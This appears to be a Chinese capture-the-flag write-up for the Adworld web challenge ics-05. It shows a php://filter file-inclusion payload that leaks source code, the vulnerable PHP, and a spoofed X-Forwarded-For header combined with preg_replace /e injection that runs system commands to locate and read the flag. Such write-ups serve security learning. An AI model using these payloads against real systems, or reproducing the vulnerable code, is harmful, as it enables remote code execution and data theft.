ics-05
挺有意思的一题
攻防世界->web->ics-05
打开题目链接,就是一个很正常的管理系统,只有左侧的可以点着玩
并且点到**设备维护中心时,页面变为index.php
查看响应

发现云平台设备维护中心有东西
点击会发现多了一个参数page=index,
首先想到php伪协议利用成功
page=php://filter/convert.base64-encode/resource=index.php

base64解码,最后有一段这个玩意
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
<?php
}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
                if (strpos($page, 'text') > 0) {
                    die();
                }
                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>
page是我们利用过的,那么接下来就是要利用下面的部分。
$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'
构造请求X-Forwarded-For: 127.0.0.1
然后利用preg_replace()

其中:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
也就是说:要确保 replacement 构成一个合法的 PHP 代码字符串
?pat=/unsion/e&rep=system('ls')&sub=unsion

查找文件名含有flag
?pat=/unsion/e&rep=system('find * -name *flag*')&sub=unsion
输出结果
?pat=/unsion/e&rep=system('tac s3chahahaDir/flag/flag.php')&sub=unsion

 
                    
                
 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号